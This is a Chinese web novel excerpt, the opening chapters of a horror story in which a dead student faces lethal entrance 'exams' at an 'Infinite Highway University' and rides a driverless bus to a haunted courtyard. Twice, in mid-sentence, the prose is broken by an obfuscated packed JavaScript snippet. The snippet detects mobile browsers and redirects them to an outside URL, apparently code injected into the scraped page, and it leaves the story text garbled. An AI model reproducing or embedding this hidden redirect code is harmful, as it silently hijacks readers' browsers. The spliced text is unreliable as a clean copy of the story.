《当阴湿女鬼进入无限公路大学》 1. 科目二候考厅 盛悦是被一阵广播声吵醒的,意识朦胧地掀开眼皮,发现自己似乎正坐在驾驶证科目二考试的候考厅里。 没有任何情感起伏的机械女音充斥在耳边,仿佛被糊上了一层厚厚的马赛克,听不清内容。 什么……她不是已经死了吗? 倏地完全睁开眼睛,不可置信地打量周围。 只见空旷的房间内,她独自坐在排椅区最后一排的位置上。 前面几排分布着数十个后脑勺,安安静静的,如同被粘在座位上的假人。 跃过人头的最前方,一只巨大的黑色电子屏幕几乎将整面墙壁占满,亮红色的表格与文字异常刺眼。 她定睛一看,那些文字的第一列分明是密密麻麻的姓名,而在表格的中下方,“盛悦”两个字就清晰地藏匿在其中——— 姓名:盛悦|性别:女|车号:暂无|状态:等待考试。 表格的上方赫然写着一行加粗标题: 无限公路大学入学考试车辆分配表。 …… 强烈的熟悉感与陌生感诡异地夹杂在一起,灰尘味混着消毒水味钻入鼻尖,直冲脑门。 房间后方的墙角,柜式空调呼呼运作着。过冷的风时不时吹打在后背上,盛悦只穿着短袖,浑身冰凉,可皮肤之下,血液却在沸腾。 ……这是什么情况? 候考厅的两侧分别开着一扇玻璃门,门的上方粘贴着一面蓝底白字的牌子。 左侧的门开在前面,牌子内写着“考场入口”四个大字。右侧的门开在后面,牌子要小许多,并且只写了“出口”两个字。 盛悦只需偏过头,就可以看到出口玻璃外的情景——— 一片漆黑,没有任何建筑,也没有一盏路灯。黑洞洞的,看不到地面,让人生出一种是否真的还在地球上的错觉,玻璃板上倒映出室内的画面。 “请考生们耐心等候,祝好运。” 随着最后一句话被念完,广播声戛然而止,充斥在耳边的机械女音瞬间消失,房间里一时间陷入诡异的寂静。 盛悦皱起眉。 没了?她刚准备认真听。 从依稀捕捉到的几个字眼来看,刚才的广播貌似是考试注意事项。 盛悦顿时生出一种考试即将开始,所有人都有复习资料,唯独自己没有的窘迫感。 爷的,她醒的可真是时候。 无限公路大学是什么?她为什么会参加这所大学的入学考试?她明明已经是一名大二学生了。 考试的内容是什么,会和驾驶有关吗? 就在一年前大一入学前的暑假,她一口气考完了一至四的科目考试,拿到了驾驶证,所以如果考试内容和驾驶有关,她觉得她应该可以应付。 可是,这场考试似乎不太正规,因为考试肯定会有监考人员,但这间房间里的人全都坐在排椅区内,明显都是候考的考生。 抛开考试不谈,原本她都已经释然地接受了死亡,现在为什么却好端端地坐在这里…… 盛悦这时才想起来检查自己的状况,发现浑身和后脑勺的伤口全不见了,痛感正在飞速消散,仿佛这些伤从来没有存在过一样。 只有不知什么时候完全散开的头发,和白色短袖上沾到的血渍,能够证明她的遭遇。 盛悦动作间视线捕捉到了什么,左手忽然停住,将虎口翻出来,视线定格在其上。 ……这又是什么? 她轻啧了一声,迫切需要知道这些问题的答案,心中随即生起问一问其他人的念头,不过这个念头紧接着就被打消掉了。 算了,没必要自找麻烦。 她宁愿什么都不知道,也不想问别人。 【请考生吴鑫、罗坤,立即前往站台搭乘13号公交车,前往考场。】 【请考生吴鑫、罗坤,立即前往站台搭乘13号公交车,前往考场。】 就在这时,广播声再次响起。 盛悦抬起头,刚好看见大屏幕内的文字发生了变动。上述两名考生的信息紧挨在一起,车号从“暂无”变成了“13”,状态从“准备考试”变成了“立即上车”。 而他们的下面一行,是盛悦的名字。 前排的候考生们终于有了动作,他们在排椅之间来回张望,有的面部僵硬发白,有的泪眼婆娑不停抽泣,自己明明害怕得不得了,但又忍不住好奇即将去考试的倒霉蛋是谁。 有人把头彻底转向后方。 盛悦就连失去广播时表情都没有什么波澜,但此刻,她的脸上却骤然浮现出几丝局促和狼狈。 她左看看右看看,下意识想要抱头蹲下,拿椅背挡住自己。 可不能让他们看到自己的脸。 有了血渍、发型和环境的加持,她现在得恐怖成什么样子?! 盛悦的长相和气质天生就有股浓烈的阴郁感。 具体怎么个阴郁法,用小学同学的话来讲,是被现在的父母捡回家的杀人魔的女儿,用邻居们的话来讲,是恶鬼投胎天煞孤星、命硬克夫克亲,用初中高中同学的话来讲……那在学校里流传的版本可就太多太多了,五花八门什么的都有。 反正无论在哪种环境里,所有人遇到盛悦,都会不自觉地害怕和远离,根本不给她展现自己善良逗比内心的机会。 盛悦觉得自己虽然算不上周围人口中的“怪物”,却也确实不是个正常人类。因此为了减少惊吓,她出门基本戴口罩和鸭舌帽,除了学习和兼职上必要的接触以外,她都自己一个人待着。 要是有口罩和鸭舌帽就好了。 盛悦在屁股离开椅子的前一刻停住。不行,这么做只会更惹眼,赶忙重新坐好,弯下腰,用双手捂住整张脸,胳膊肘撑在大腿上,控制着肩膀一抽一抽起来。 前排的人彻底转过来时,就见到最后一排上独自坐着一名再正常不过的女生。乌黑的长发如瀑布一般垂落在两边,肤色白皙到几乎与后方墙壁融为一体,女生身形异常单薄,此时正在掩面抽泣着。 突然陷入未知的境地,心理素质弱一点的人会害怕到哭泣,这是再合理不过的状态。 盛悦抽了好一会儿,肩膀都酸了,慢慢抬起脸,从指缝中露出一只漆黑的眼睛。 回头看的人都已经转回去了,因为他们已经找到了寻找的目标。 盛悦坐直上半身,恢复面无表情脸,同时,排椅区靠前的一排中,有人缓慢地站了起来,吸引着所有人的目光跟随他的方位移动。 这是个胖男生,长着一圈络腮胡,戴着一副圆眼镜,他不停抹着眼泪,慢吞吞地在排椅区中横向行走,由于体型较宽,走得还特别磨蹭,途径的考生都把上半身往椅背上靠,面露不满。 这应该就是吴鑫和罗坤其中之一了。 盛悦微微皱眉,搜寻无果,奇怪,另一人怎么还没站起来? 眼见着络腮胡胖男即将走出前门了,同班车的另一名考生迟迟未有动作,众人又开始好奇地张望,盛悦不得不多次表演哭泣,以躲过视线。 【请考生吴鑫,立即前往站台搭乘13号公交车,前往考场。】 良久,无人站起,仿佛根本没有这个人似的。 【请考生吴鑫,立即前往站台搭乘13号公交车,前往考场。】 还是没有人站起。 人群中响起低低的议论声。 “之前有没有人从出口离开过?反正我没看到。” “没有吧,我也没看到。” “会不会是大屏信息有误,输错名字了?” 机械女音依旧如先前那般没有任何语调起伏,可盛悦却莫名能品出几分下最后通牒的意味。 就在一部分人已经开始心生侥幸,认为没有作为就可以逃过一劫时。 “嘭!” 巨响在排椅之间爆炸开来,同时爆炸的,还有一名男生的身体。 猩红如同烟花一般高速四散,飞溅到天花板上,飞溅到排椅上,飞溅到考生们的身上脸上。 男生不见了,只剩下涂满屋子的鲜血。 ……… 铁锈味迅速弥漫,所有人却不受控制地大口呼吸起来。 紧接着,“啊啊啊啊啊啊啊啊!” 尖叫声震耳欲聋。 这下,他们终于知道吴鑫在哪里了。 吴鑫的死亡彻底摧毁了众人一切自欺欺人的幻想,他们惊恐至极,满目红色,说是此时身处在地狱里也不为过。 但是无论他们叫得多大声,愣是没有人站起来逃离。 没想到拖延考试会有如此严重的后果,盛悦捂住耳朵,不忍心再抬头看。 好吧,这场考试不仅不正规,而且还非常血腥变态! 她迅速调整好情绪,在脑海中整理出三条规则: 一、考生必须在三次广播内起身离开候考厅,前往考场,超时直接死亡。 二、考试可以随时从出口离开,放弃考试。 三、考生不可以在候考厅内随意走动,一旦离开座位,必须是去参加考试,或是从出口离开。 后两条规则应该都在广播中提及过,所以众人早已知晓,并且在遵守,而第一条隐藏规则,考生吴鑫用自己的性命为大家试了出来。 候考厅陷入前所未有的慌乱之中,就连播报声再次响起,电子屏幕再次出现文字变动,都没什么人在意。 【请考生盛悦,立即前往站台搭乘13号公交车,前往考场。】 【请考生盛悦,立即前往站台搭乘13号公交车,前往考场。】 盛悦唰地抬起头:好家伙,自己被补位了。 原先盛悦不会参加这个批次的考试,也不是和那名络腮胡胖男一起参加。 可是现在,意外发生,她的考试条件被改变了。 她讨厌改变,谁也不清楚一点小小的改变,能引发多大的蝴蝶效应。 但已经发生,再怎么抗拒也没有意义,盛悦看了一眼后门,随后站起身,有些鬼鬼祟祟地朝候考厅前端走去。 盛悦微侧过头,用乌黑的长发挡住自己,要是在现在的这种情况下让大家看到她的脸,那估计能再送走一批人。 不过好在大家都忙着尖叫和害怕,没有人把视线分过来,她得以顺利地走出前门。 其实,盛悦原本是想从出口离开的。 学校和考场作为人员密集又封闭的场所,最容易放大人心中的恶念了,再加上动不动会死人的高压,盛悦进去后,就是活靶子。 虽然离开的下场不见得比参加考试的要好,但其实盛悦也无所谓,最坏的情况无非是一个人在黑暗中悲惨地死去,这点她已经有了经验,没在怕的。 但在最终决定前,盛悦还是临时改变了选择。 无限公路……嗯…… 听起来还挺有意思的,很像她经常听的那种无限流小说。 既然选择哪条路下场都不会好,那还不如去看看呢。 来都来了,不去怪可惜的。 这样想着,盛悦掀开门,顿时一股充满恶意的阴冷扑面而来,她发丝飞舞,表情没有任何变化,走到室外。 吵闹的人声随着门被关上彻底消失在耳畔,盛悦被一股巨大的黑暗和寂静包裹起来,仿佛掉入了真空。 但她却重重吐出了一口气,感受到了久违的轻松。 果然还是一个人待着舒服。 希望这个地方不会让她后悔刚才的选择。 她打量四周,夜色如墨水一般浓稠,月亮被厚厚的云层遮挡住。 一座褪色的站台矗立在路的中央,路灯悬挂在半空中,散发着昏黄微弱的光。站台的前面,是浓郁如屏障的白雾,能见度非常有限。 络腮胡胖男正站在站台上抹眼泪,呜呜的哭泣声传过来。 盛悦看到他,皱起眉头,见车还没来,刻意放慢脚步。 这时,远处兀地响起轮胎摩擦路面的声响。 盛悦移去视线,络腮胡胖男也抬头看过去,就见雾中有黑影浮现,数秒后,一辆老旧的公交车从浓雾中缓慢地驶出来。 车内没有开灯,黑洞洞的,驾驶座位上空空如也,方向盘全程自动左右的摇晃着,伴随着金属的吱嘎吱嘎声,宛如一辆通往地狱的末班车。 络腮胡胖男立即被吓得呜咽一声,后背砸在站台上,捂住嘴。 公交车越来越近,散发着一股腐朽的气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342961|199445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息,车身凹凸不平,一面上用红色喷漆画着一个巨大的数字“13”。 一个丝滑的转弯后,最终停在了站台的前方。 前后门在一阵短促的喷气声中啪地打开,示意他们考生尽快上车。 ……怎么有这么多人? 盛悦表情瞬间变得厌恶和抗拒,一只手摸上自己的脸。 虽然驾驶位上是空的,但后面的乘客区却坐着不少身影。 她还以为这次考试只有她和胖男生两个…… 不过转念一想,是自己先入为主了,这些乘客也许并不是人呢,便立马觉得又可以接受了,加快步伐。 络腮胡胖男磨磨唧唧地从前门走上了车,盛悦赶过去,一只脚踏上台阶,听到公交车内传来一名男生的声音: “别害怕,新人,我们也是考生,你可以随便找个位置……” ……啥? 你们也是考生?一车的考生? 盛悦愣住,脸夸的一下垮了下去,动作僵在原地。 怎么办,她已经后悔了。 上……还是不上…… 短短的几秒如同过去了数个小时,她闭眼深吸一口气,最终做好了决定,继续往里走。 听到前门又传来动静,男生:“啊,来了,也欢迎你......”说话的同时转过身。 男生留着短寸头,穿着黑色背心,看起来痞里痞气的,他脸上带着友好的笑容,露出白牙,心情似乎特别好。 然而下一秒,他看到了一名双手捂脸的女生走了进来,由于看不见路,女生额头磕在了杆子上,身形一顿。 短寸男的笑容愣了一下,倏地更灿烂了:“同学,你怎么了?要不要紧?”他还以为盛悦是在哭。 盛悦对情绪很敏感,从他的语气中捕捉到了几分挑逗的意味,当即有点想吐。 ……希望看到我的脸后,你也能这么和我说话。 短寸男见女生没有回应自己,更来劲了,把络腮胡胖男晾在了一边,靠近一步,开始上下打量她。 虽然穿着宽松休闲的白T和卫裤,但光看这一头乌顺的长发,这纤细白皙的手指,还有这衣服下隐隐若现的身形,他就知道,这肯定是一位纤瘦柔弱的美人! 短寸男嘴角疯狂上扬,咳嗽了一声,声音尽可能地放轻柔:“咳,那个,你肯定很怕吧,不要怕啊,我们都是人类。” 盛悦:……是吗,那太失望了。 “好的人类,可以让一下吗,你挡到我的路了。” 短寸男没有让开,而是从裤兜里掏出一包纸巾:“这个给你,别再哭了,哭多了眼睛会肿,哭肿就不好看了。” 盛悦:……你这个傻B。 她忍住揍他一拳的冲动:“我没有哭,你真的挡我的路了,还有,真心劝你一句,还是离我远一点比较好。” 短寸男以为女生是在欲拒还迎,又往前凑了一步,一只手抓上她的手腕:“来,我领你进去吧,我……” 盛悦:艹,不装了。 摆烂地放下自己的双手。 短寸男心里乐开了花,刚准备说一大段暖男发言用来感动女生,下一秒,没有任何防备地,他对上了一张苍白到令人发指的面庞。 从某种意义上来讲,这确实是个大美人,五官如同精心雕琢的汉白玉塑像一般,让人挪不开眼。但是,皮肤实在是太苍白了,没有一丝血色,神情也太过于漠然,有一种空洞残忍的美感。 乌黑的长发垂落在瘦削的脸边,发尾一直垂落到腰间,一黑一白两个极端的颜色叠加在一起,视觉冲击感极其强烈。 女生骨瘦如柴,穿着带血的白衣,眉头微蹙,嘴角朝下,两团浓郁的乌青上方,过大的眼瞳宛如黑洞,将一切美好甚至是魂魄都吞噬其中。 而这双眼瞳,此时正一眨不眨地盯着短寸男看。 短寸男一嘴的暖男发言被憋了回去,表情一阵抽搐,心脏猛地一抽,连带着全身都用力地打了一个哆嗦,炸膛般“鬼啊啊啊啊啊啊!”地大叫了起来。 盛悦被口气熏到,安详地闭上了眼睛。 拉倒了。 短寸男表情惊恐,一屁股跌坐在过道上,手脚并用地向后爬。 站在旁边的络腮胡胖男反应慢半拍,紧接着五官与胡子皱成一团,嘴巴大张。 啊———! 一串中气十足的海豚音拔地而起。 “卧槽!”就像是被针刺了一下耳膜,盛悦一个激灵,反被他吓了一跳,表情变得有些不可思议。 没想到你还有这种特殊技能……庆幸离开得早,看到有人爆炸那还得了。 两名男生整这么一出,公交车内的其余人原本面色疲惫地放空着,这时才把注意力投过来。 下一秒,尖叫声响彻整辆公交车,几欲将天花板掀翻。整辆车仿佛都在摇晃着,惨烈程度一点也不比候考厅里的弱。 盛悦平静地看着众人纷纷从座位上站起来,逃也似地往后面跑,垂下脸,不屑地嘀咕了一句:“切,麻烦……” ……进入大学后,她要把口罩和鸭舌帽都焊在脸上! 众人挤成一团瑟瑟发抖,短寸男也从过道上爬起来,和络腮胡胖男一起逃进人群中。 只有坐在后门后方第一排的两名女生,从始至终没什么太大的反应,只是捂住了耳朵。 其中一名肤色偏黑的女生靠窗坐着,戴着的一对民族风的银色圆盘流苏耳饰,在黑暗中闪着点点碎光,她翻了个白眼,大声道:“都别吵了,她是新来的考生,你们动动脑子,之前哪次是在考场外面遇到过鬼怪的?” 可是没人听她的,继续在那里尖叫。 不知是不是太吵了,盛悦的鼻子莫名有些发酸,耳旁响起一阵低低的耳鸣声,她懒得跟他们解释。 反正也不会听。 走到前排的一个单独位置上坐了下来,开始发呆。 ……哎,她这操蛋的一生啊。 又是一声短促的喷气声响起。 前后门被暴力地关上,一阵轻微的推背感后,公交车开始前进。 发出着仿佛随时都会报废的吱嘎声响,载着一车的惊恐和混乱,驶入茫茫白雾中。 2. 13号公交车 道路的两侧,每隔一段距离就设立着一只路灯,为行驶而过的公交车提供着糟糕的照明,路灯的后面是一小段草地,再后面是树林,最后浓雾铺底。 轮胎突然碾过一个坚硬的物体,整个车身颠簸了一下,盛悦戳在窗户上的手指飞了出去,将只差最后一笔的小人给画毁了。 讨厌死了。 盛悦干脆用手掌把整个小人都抹掉,托腮望着窗外继续发呆,这时的车内已经安静了下来,狭小的空间内弥漫着一股令人如坐针毡的氛围。 直到它被打破: “你好……” 盛悦身旁的过道里,响起一个小心翼翼的甜美嗓音。 她托腮姿势不变,瞥了后面一眼,继续看窗外。 等待了片刻,见盛悦没有理自己,女生也不气馁,接着道:“不好意思,刚才我们的反应太大了,肯定吓着你了吧。” 盛悦依旧不回应,显得冷默薄情,心想何必套近乎,她一个人待着,对谁都好。 女生:“那个……这个给你,一会儿的游戏会比较激烈,你披着头发会很难受的。” 盛悦的冷默夸叉一下碎掉了,整个人都僵硬了一瞬,她缓缓坐直后背,转头看向这名站在自己旁边的女生。 这是一个很可爱的女生,长着一张圆圆的脸,一双圆圆的眼睛,正是坐在银耳饰女生旁边,另一名没有被她吓到的女生。 她嘴角噙着笑,手中拿着一只黑色的发绳递在盛悦面前。 这张笑脸让盛悦回想起初中时,主动来找自己说话的校花,那时,盛悦以为终于有人愿意和自己做朋友了,整天和校花粘在一起,结果没出一个星期,有一天,她在校园墙里看到了自己的照片。 那本是一张她和校花去奶茶店的合照,校花却单独把她裁了出来,P上了恐怖的滤镜,充满恶意的评论在图片下方盖了近百层楼。 盛悦的冷默又回来了,心中的厌恶感愈发强烈,她皱起了眉头。 不可能有人无条件对自己好的,这个女生肯定另有所图,不能搭理她! 但是吧…… 盛悦用眨眼睛代替了咂嘴,视线落在女生的手上。 她又的确很需要一只发绳,自己的那只在死亡时断掉了。 盛悦思考半晌,算了,还能有多糟糕呢,面不改色地接过发绳,盘起了头发。 动作迅速娴熟流畅,没过几秒便盘好了一个随性的低丸子头,整个人顿时清爽了许多。 昏黄的灯光照耀在她白皙的皮肤上,加深了锋利的侧颜,脸颊两侧的长发被盘起,露出下颌线和左耳上的一只黑圆耳钉。空洞残忍的美感褪去,多出了几分稚嫩与活人气,终于有了点大学生的样子。 不过,面色还是过于苍白疲惫了。 圆脸女生望着盛悦的侧脸,心中唏嘘,多么好的女孩,这么年轻,本可以拥有大好的人生,却被病痛折磨成了皮包骨头…… 不行,她一定要好好照顾她! 盛悦并不知道圆脸女生的脑补,放下手,看着她,眼中满是警惕。 圆脸女生这边,她已经单方面成为了这名新人的伙伴。既然接受了自己的发绳,那就是变相地同意了邀请,圆脸女生挽住盛悦麻杆一样的胳膊,动作十分小心: “来,姐妹,跟我们一起坐吧,后面的游戏需要大家一起努力,所以还是早点熟悉彼此比较好。” 盛悦非常抗拒与人身体接触,下意识地想抽回手。 但是拿人手软,她再怎么不情愿,却还是强压下生理和心理的不适,被圆脸女生拉了起来,挽着胳膊朝公交车的后面走去。 被拽着走一路,盛悦面如死灰,虽然在别人的视角里,她的面瘫表情几乎没变过。 原本挤在一起瑟瑟发抖的考生全都恢复了冷静,就近坐在了后面的位置上,他们意识到是自己误会了,看着盛悦的神色都带着些歉疚和心虚。 盛悦视线快速扫过他们,不再看,虽然藏得很隐蔽,但她知道,这些人还是有些怕她的。 圆脸女生挽着盛悦坐到后门后方第二排的双人座位上,盛悦靠窗,她靠过道。银耳饰女生单独坐在她们的前面,没有主动和盛悦套近乎,只是安静地坐着。 圆脸女生乐呵呵的,上半身转向盛悦,握住她的手,刚张开嘴准备说话,之前的那名短寸男就走了过来,抢先开了口:“抱歉,是我刚才太警惕了,练过几年拳击,神经比较敏感,所以反应才会这么大,你不要见怪啊。” 盛悦:“……” 圆脸女生:“……”嘴巴还保持着微张的状态,看向短寸男,表情写满了无语。 短寸男当作没看到,自顾自地继续说:“你好,我叫刘折,第三次参加游戏,你叫什么名字?” 盛悦没有回答,挑眉,看向圆脸女生:“什么第三次?” 圆脸女生神情恢复正常,思考了片刻,道:“广播每隔几分钟就会放一次,你应该是没来得及听到,考……” “考试一共有五次机会,内容为随机小游戏,难度还挺大的,不过不用太担心,咱们只要通关其中一次就行了。” 刘折再一次插话:“你看,看到自己左手虎口处的’正’字图案了吗?每参加一次游戏,笔画就会减少一个,你看我的,这代表我已经参加过两次游戏了。” “这也意味着你失败了两次。”银耳饰女生的话从前排飘了过来。 刘折看了她一眼:“……对,失败是成功的基石。” 银耳饰女生、圆脸女生:“……” 盛悦:“……” 也不知道是嘴硬,还是真傻叉。 在刘折看不到的地方,圆脸女生一连翻了好几个白眼,等刘折说完,并且带着一脸求赞赏的笑容时,盛悦低头看向圆脸女生,又问了一遍:“什么第三次?”仿佛没听见刘折刚才说的一大通话似的。 圆脸女生知道盛悦是在为自己出气,笑着把解释又说了一遍,盛悦全程认真地听着,还不时点点头。当她说完最后一句话后,盛悦摆出若有所思的表情:“哦……原来是这样,明白了,谢……谢你。” 最后三个字说得极其变扭,但是没办法,演戏得演全。 圆脸女生眼睛眯成月牙形状:“害,跟我客气啥~” 这回轮到刘折表情变得难看,他撇了撇嘴,在心中骂了几句脏话,回到了座位上。 坐在刘折旁边的是一名锡纸烫发型的男生,男生与刘折一起参加了两场游戏,结成了同伴,他气呼呼地小声说:“一个个拽什么?把我刘哥的好心当成驴肝肺!” 刘折大度地拍了拍他的肩头,示意他别气:“没关系,女孩子总是喜欢抱团在一起的,待会儿考试的时候咱们好好表现,保护她们,她们自然就知道咱们的好了。” 锡纸烫男生受教了,认真地点点头:“我明白了,刘哥。” 圆脸女生这边,她不仅解释了“正”字的含义,还补充了很多信息。盛悦这才知道,原来他们所有人都是华国各地高校的大学生,在现实世界死亡后进入到这里。 说是入学考试,其实就是连续五次参加不同的小游戏,如果一次游戏失败了,他们就会回到公交车上,兜一个大圈子返回候考厅门口的站台,由于每次游戏都会有考生死亡,因此公交车会接上新考生补齐人数,再前往下一场的游戏地点。 至于无限公路大学到底是什么,他们也不清楚,游戏通关后又会去哪里,她只听上一场的考生说过,通关的考生会单独离开,除此之外就没有别的信息了。 “我也是说给你听的哦。”圆脸女生看向独自坐着的络腮胡胖男,后者已经哭懵了,点了点头,也不知道有没有听进去。 圆脸女生说完,脸转回盛悦面前:“你好呀,我叫陈语圆,今年19岁,在首都上大学,这是我的第二次游戏。” 她偏了偏头:“坐在前面的那位美女姐姐叫夏凉,也是第二次游戏,我和她一起上的车。我老菜了,但是她很厉害,上一场游戏基本就是她带飞我们所有人,离通关就差了一点点。” 叫夏凉的银耳饰女生把脸转过来,隔着座位的间隙瞪陈语圆:“你还知道啊,拜托这次游戏支棱一点,咱们争取早点通关。” 运动废物陈语圆心虚地对了对手指:“我尽量……啊对了,你叫什么名字?” 盛悦意识到后面一句是在问自己,顿了顿,回答:“成敏。” 不管如何,还是先不要报真名比较好。 陈语圆眼睛亮了:“我们同姓耶。” 盛悦:不,我们才不是。 立即补充:“成立的成,敏锐的敏,后鼻音。” 陈语圆缠上盛悦的胳膊,故意说重后鼻音:“那好吧,成敏小姐姐,我们一起加油吧~” 盛悦的身体如同石膏一般僵住:“……”不要,她才不要和你一起加油! 心中闪过一万个后悔,只知道刚才短寸男来求关注的时候,她就应该冷血一点才对,现在好了,被彻底缠上了。 讨厌没有边界感的人! * 公交车行驶到一个写着44号考场的路牌前停下,前后门打开。 夏凉活动脖子和手腕:“到了,咱们走吧。” 陈语圆的笑容收敛了很多,表情弥漫上些许紧张:“嗯,来吧成敏。” 盛悦:……不来。 所有人陆续下车,最后一个人双脚刚踏在路面上,车门关了起来,被吹了一屁股的风。公交车继续朝前行驶,很快融入白雾中,将这群大学生撇在了荒郊野路。 盛悦数了数,加上她一共有九名考生,除了陈语圆、夏凉、刘折、锡纸烫男、飙海豚音的络腮胡胖男,还有两名明显是同伴的女生,短发女生和低马尾女生。 短发女生看着比较冷静,但一旁低马尾女生的状态却很不好,神情在隐忍着痛苦,脸上有干涸的泪痕,像是已经哭得流不出眼泪了。 盛悦下车的时候看到她虎口处的图案,“正”字只剩下一个孤零零的“一”———这是她的最后一次机会了。 除此之外,还有一名落单的高个子男生,他的模样气质出众,穿着一身黑,发型明显是抓过的,有种简单却时髦的感觉。 盛悦记得大学里的服装表演专业,有很多男模特都爱这么打扮。 那就叫他男模哥好了。 “大家快来,我发现了一条小路,应该是通往游戏的入口。” 刘折聒噪的声音在队伍中传开,他手指着路牌旁的草地上,一条明显得不能再明显的青石板小路。 除了锡纸烫男,其余人都没有心思再陪他闹,聚集了过去,只见青石板小路约有三米宽,笔直地延伸进雾里。 夏凉推了推堵在路口的刘折:“那还等什么,快走吧。” 刘折:“好,不过你们先走,我先系个鞋带,有点松了。”说完往旁边跨出几步,让出路,蹲下。 夏凉、陈语圆:“……”真是吐槽他都会觉得膈应得慌。 刘折假模假样地系完鞋带,站起来,就见其余考生已经形成好了站位,上一场游戏的时候,他们也差不多是这么站的。 夏凉在最前面,陈语圆缠住新人的胳膊站在第二排,其余人三三两两地依次往后叠加,锡纸烫男已经选了个中间最安全的位置站好,刘折赶紧跑过去,挤到他的旁边。 九名考生形成紧密的一大团,像一群小黄鸡,而夏凉则是护在他们身前的母鸡,随着她第一个迈出步子,所有人开始忐忑地朝浓雾中走去——— 沙沙沙。 寂静的环境中,鞋底摩擦在青石板砖上,每发出一下声音,众人紧绷的心弦就被弹拨一下。 陈语圆完全贴在盛悦的身上:“我好怕……”但是并没有把自身的重量压上去,相反,她还使着点劲把盛悦往前带。 盛悦看了她一眼,没有回应。 渐渐地,路的两侧开始出现古楼,隐约可以看见前方,路的右侧,悬挂着两团扁圆的红光。 这形状……是灯笼。 “咳咳……这什么味道?” 打头阵的夏凉倏地皱起脸,捏住鼻子,沉稳的声音都变尖了不少,随后,考生们纷纷露出被熏到的嫌弃表情。 这气味不是突然飘过来的,而是深深融进了空气里,他们只是走入了这些空气的范围内,越往前越浓烈。 盛悦捂住口鼻,咳嗽两声,这气味腐臭潮湿,像是有相当数量的肉集体腐烂,并在空气不流通的地方放置了很久。即使捂住口鼻,气味却浓郁得依旧能闻得到,她只能尽量小口呼吸。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342962|199445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陈语圆看盛悦咳嗽得厉害,仿佛都要把骨头咳断了,心中涌起一阵心疼: 这该死的病。 “呕———!”排在队伍末尾的络腮胡胖男停下脚步,弯腰一阵干呕,他声音中带着哭腔,“不行,我实在受不了了!”说完拔腿往回跑。 所有人停下来看他,走在他旁边的男模哥伸出一只手:“喂,你别乱跑,快回来。” 络腮胡胖男不听,一个劲往回跑,本以为会看到熟悉的马路,不曾想一头撞到坚硬平整的物体上,往回弹了一下,扑通一声跌坐在地上。 他揉了揉疼痛的额头,看清前方是什么后,睁大眼睛惨叫起来: “啊啊啊啊啊啊!” 海豚音刺激着所有人的耳膜,全员捂住耳朵。 盛悦:这简直就是噪声污染。 “怎么了?”他们赶紧跑过去,就见一堵由砖头砌成的墙壁突兀地出现,连接着两侧的古楼,将出去的路完全封死。 “是鬼打墙!”刘折声音都哑了。 “也有可能只是单纯地封住出口,游戏结束以后才能出去。”夏凉冷静地分析,“既然出不去,那就往前走吧。” 众人只得重新深入,说要保护新人的刘折和锡纸烫男看了一眼地上的络腮胡胖男,走了,倒是男模哥咬牙把他拽了起来,结果鞋底太高,差点扭到脚踝。 行至六七米,众人来到了红灯笼悬挂的地方,停下脚步。 夏凉:“这应该就是游戏场地了。” 盛悦四处打量,眼中满是好奇,连胳膊上挂着个人都感受不到了。 这是一座T字形的路口,由两条不同的青石板路垂直相交而成,他们走过来的那条小路便是“T”的右横边。 站在路口环视半圈,三条方向的岔路全部淹没在黑暗之中,看不见尽头。 而路口的前方,座落着一座老旧的四合宅院。 那两只破了洞的大红灯笼就挂在院门前的两侧,作为唯一的光源,照亮着门前的一小片区域,同样摆放在门两侧的,还有两尊掉漆的石狮子。 盛悦低下头,与四合院平行的这条路很窄,三米宽左右,青石板小且密集。 而正对着四合院大门的这条路就宽多了,约莫有十米,石板是较大的正方形,路两侧可以看到双层古楼,很像那种景点里的商业古街。 只不过这些古楼全都门窗紧闭,像废弃了许久。 再抬头看去,夜空中的圆月摆脱了云层裸.露出来,表面坑坑洼洼,像一只怪兽的橙色独眼俯瞰着大地。 盛悦暗道奇怪。 ……为什么有种感觉,这不是之前的那只月亮? 络腮胡胖男眼泪哗啦啦地流,颤声问道:“现、现在怎么办?” 短发女生也参加过三次游戏了,颇有经验地回答:“进入游戏场地后,没有广播介绍游戏规则,那就需要我们找到关键NPC。” 关键NPC? 所有人同时看向四合院门,那ta大概率就在这里面了。 顿时以夏凉为首,考生们重新调整了站位,朝院门走去。 夏凉踏上两级台阶,站在光秃秃的门板前,回头看了陈语圆一眼,得到对方坚定的眼神后,她呼出一口气,小心翼翼地将门板推开。 所有人屏息凝神,只听: 吱嘎——— 粗嘎的声音响起,四合院的内部缓缓展露在众人眼前。 盛悦眨了眨眼睛,顿时有点失望,没想到外面鬼气森森的,院子里面倒是灯火通明,亮敞得不得了。 只见被房屋包围的中间空地上,一位身穿浅灰色长袍马褂,头发花白,留着山羊胡的男人,此时正背着手、愁眉苦脸地来回踱步。 夏凉一只脚跨进门槛,刘折和锡纸烫男见里面没有危险,也不怕了,重新往前挤,直接把盛悦挤出了队伍。 刘折和夏凉并排站到院门口,而锡纸烫男挤到陈语圆的旁边。 陈语圆瞪锡纸烫男:“你干什么?!” 锡纸烫男语气无辜:“嘘,小声一点,别惹来什么怪物……她是新人,让她站到最后呗,这样还能保护到她。” 盛悦:……呵,这时候又要保护新人了。 陈语圆:“你……!”被盛悦拉住。 后者无所谓道:“没关系,你们有经验,在前面好了,我去最后。”说着趁机将胳膊从陈语圆的双手中抽了出来,这一刻,她感觉自己像脱了伊丽莎白圈的宠物狗。 啊……解放了。 